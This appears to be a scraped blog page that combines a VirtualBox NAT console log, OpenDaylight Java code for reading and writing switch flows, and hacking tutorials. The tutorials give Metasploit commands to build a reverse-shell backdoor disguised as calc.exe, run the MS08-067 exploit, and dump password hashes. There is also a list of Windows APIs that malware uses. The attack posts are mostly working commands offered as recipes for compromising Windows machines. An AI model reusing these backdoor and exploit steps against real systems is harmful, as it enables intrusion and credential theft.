
c:\Program Files\Oracle\VirtualBox>VBoxManage modifyvm "U12.04ODLController" --n
atpf1 "netioludpnat,udp,173.39.49.192,,10.0.2.15,49150"
VBoxManage.exe: error: A NAT rule of this name already exists
VBoxManage.exe: error: Details: code E_INVALIDARG (0x80070057), component NATEng
ine, interface INATEngine, callee IUnknown
VBoxManage.exe: error: Context: "AddRedirect(Bstr(strName).raw(), proto, Bstr(st
rHostIp).raw(), RTStrToUInt16(strHostPort), Bstr(strGuestIp).raw(), RTStrToUInt1
6(strGuestPort))" at line 1655 of file VBoxManageModifyVM.cpp

c:\Program Files\Oracle\VirtualBox>
c:\Program Files\Oracle\VirtualBox>
c:\Program Files\Oracle\VirtualBox>
c:\Program Files\Oracle\VirtualBox>
c:\Program Files\Oracle\VirtualBox>VBoxManage modifyvm "U12.04ODLController" --n
atpf1 delete "netioludpnat"

c:\Program Files\Oracle\VirtualBox>VBoxManage modifyvm "U12.04ODLController" --n
atpf1 delete "netioltcpnat"

c:\Program Files\Oracle\VirtualBox>VBoxManage modifyvm "U12.04ODLController" --n
atpf1 "netioludpnat,udp,173.39.49.192,*,10.0.2.15,49150"

c:\Program Files\Oracle\VirtualBox>VBoxManage modifyvm "U12.04ODLController" --n
atpf2 "netioltcpnat,tcp,173.39.49.192,*,10.0.2.15,49150"

c:\Program Files\Oracle\VirtualBox>

Thursday, May 29, 2014

Hack All Windows OS's (Windows 8/7/Vista/XP) using Metasploit Backdoors

This blog discusses how to compromise Windows 8, Windows 7, Windows Vista, Windows XP etc. using Metasploit backdoors.


Copy created backdoor to victims machine using USB, Shares etc.

When victim executes the malicious binary, it connects back to attackers machine.

Commands to create backdoor
msfpayload -h
# msfpayload windows/shell_reverse_tcp LHOST=192.168.56.101 LPORT=8888 R > cal_pld.exe
msfencode -h
# msfencode -e x86/shikata_ga_nai -c 3 -t exe -i calc_pld.exe -x /root/calc.exe -o calc_backdoor.exe

Commands to create handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 8888
exploit

If everything goes fine, Metasploit will start handler and waits for connections from victim's. Once victim executes the binary, successful exploitation will create a Meterpreter session.

http://blog.disects.com/2014/05/metasploit-gaining-access-using-ms08.html

Metasploit: Gaining Access using MS08-067 (CVE-2008-4250)

Setup details
Victim(Windows XP SP3): 192.168.56.101
Attack(Kali Linux):             192.168.56.102

Use below commands to launch an exploit.
search command can be used to search desired exploit, payload etc.
use      to use required exploit
set       set options accordingly (LHOST, LPORT, RHOST,RPORT,PAYLOAD etc.)
run/exploit    launch exploit
meterpreter  shell to execute commands in the context of victim
msf> search smb
msf> use exploit/windows/smb/ms08_067_netapi
msf> show options
msf> set RHOST 192.168.56.102
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> show options
msf> exploit

Check if all the options related to the exploit are set properly.
Launch the exploit once all the parameter are set properly

Exploit is successful and we are already on meterpreter prompt.

Details of the victim Operating System

Once we have access to the victim there are many post exploitation techniques like Privilege Escalation, Maintaining Access, Clearing Logs etc.
meterpreter> screenshot
meterpreter> migrate
To add users
meterpreter> use incognito
meterpreter> help incognito
Dump Users and LM/NTLM hashes
meterpreter> hashdump

Same steps can be followed for different exploits. To use different exploit execute below command and set options accordingly.
use exploit/windows/browser/ie_aurora

Other useful blogs
http://blog.disects.com/2014/04/hacking-android-devices-using.html
http://blog.disects.com/2013/12/manual-unpacking-of-upx-packed-binary.html

Vulnerability details
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

Friday, May 2, 2014

Windows API's used by Malware

Below Windows API's are frequently used by Malware, though this is not an exhaustive list.

Anti-debugging Techniques
kerne32.CloseHandle
kernel32.GetTickCount
the byte at offset 0x02(IsDebugged) in the PEB is set(debugged) or not
Check for the NtGlobalFlags at offset 0x68 in the PEB

kernel32.GetProcAdddress
kernel32.LoadLibraryA
kernel32.OpenProcess - get handle of a given process
kernel32.VirutalAllocEx - reserves within the virtual address space of a process
kernel32.CreateRemoteThread - create Thread (inside a process)

FindResource
LockResource
ShellExecute
GetThreadContext
CreateProcessA
ReadProcessMemory
WriteProcessMemory
NtQueueApcThread
CreateToolhelp32Snapshot
Thread32First
Thread32Next
SetWindowsHookEx
NtSetSystemInformation
CreateFile

File handling functions
Registry handling function
Network communication API's

Tutorial for learning Malware analysis
https://noppa.aalto.fi/noppa/kurssi/t-110.6220/luennot

Friday, April 25, 2014

Opendayligtht (ODL) Controller: Write Flow entries into the Switch Programmatically

public void addAllFlowsToSwitch(List afc, NodeBuilder nodeBuilder) {
        /*
         ActionBuilder > list > ApplyActionsBuilder > ApplyActionsCaseBuilder > InstructionBuilder > list > InstructionsBuilder > flowBuilder
         */
        for(Flow flow : afc) {
            if (flow != null) {
                System.out.println("Adding Flow=" + flow.toString());

                FlowBuilder ffb = new FlowBuilder();
                ffb.fieldsFrom(flow);

                //ffb.setTableId(flow.getTableId());

                ffb.setTableId((short)0x8);
                ffb.setCookie(BigInteger.valueOf(0x8));

                if(flow.getId() != null) {
                    //ffb.setId(new FlowId(flow.getId().getValue()));
                    ffb.setId(new FlowId("1234"));
                }
                //FlowKey fkey = new FlowKey(new FlowId(flow.getId().getValue()));
                FlowKey fkey = new FlowKey(new FlowId("1234"));
                ffb.setKey(fkey);

                DataModification, DataObject> modification = dataBrokerService.beginTransaction();

                //System.out.println("addAllFlowsToSwitch: tid=" + ffb.getTableId() + "fc= " + ffb.getCookie() + "fkey=" + ffb.getKey().toString());

                InstanceIdentifier flowRef = InstanceIdentifier.builder(Nodes.class)
                    .child(Node.class, nodeBuilder.getKey()).augmentation(FlowCapableNode.class)
                    .child(Table.class, new TableKey(ffb.getTableId())).child(Flow.class, ffb.getKey()).build();
                modification.putConfigurationData(nodeBuilderToInstanceId(nodeBuilder), nodeBuilder.build());
                modification.putConfigurationData(flowRef, ffb.build());

                Future> commitFuture = modification.commit();
                try {
                    RpcResult result = commitFuture.get();
                    TransactionStatus status = result.getResult();

                } catch (InterruptedException e) {
                    LOG.error(e.getMessage(), e);
                } catch (ExecutionException e) {
                    LOG.error(e.getMessage(), e);
                }
            }
        }
    }
We are using two-phase commit procedure to write Flows onto Switches.

Opendayligtht (ODL) Controller: Read all Flow entries from the Controller's Cache

    public List getAllControllerFlows(NodeBuilder tn) {
        List coFlows = new ArrayList();

        DataModification, DataObject> cmodification = dataBrokerService.beginTransaction();

        short tablesAmount = 64;
        String nextArgument = "";

        System.out.println("Getting all Flow Entries present on Controller");
        for (short tableId = 0; tableId < tablesAmount; tableId++) {
            InstanceIdentifier pathToControllerTable = InstanceIdentifier.builder(Nodes.class)
                        .child(Node.class, tn.getKey()).augmentation(FlowCapableNode.class)
                        .child(Table.class, new TableKey(tableId)).build();
            Table ctbl = (Table) cmodification.readConfigurationData(pathToControllerTable);
            if (ctbl != null) {
                for (Flow flow : ctbl.getFlow()) {
                    if(flow != null) {
                        coFlows.add(flow);
                        //LOG.info("getAllFlows: flow {}=", flow);
                        System.out.println("=======================================");
                        System.out.println("getAllCFlows: flow= " + flow.toString());
                    }
                }
            }
        }
        System.out.println("=======================================");
        return coFlows;
    }

 To read Flow entries from Switch  http://blog.disects.com/2014/04/opendayligtht-odl-controller-read-all.html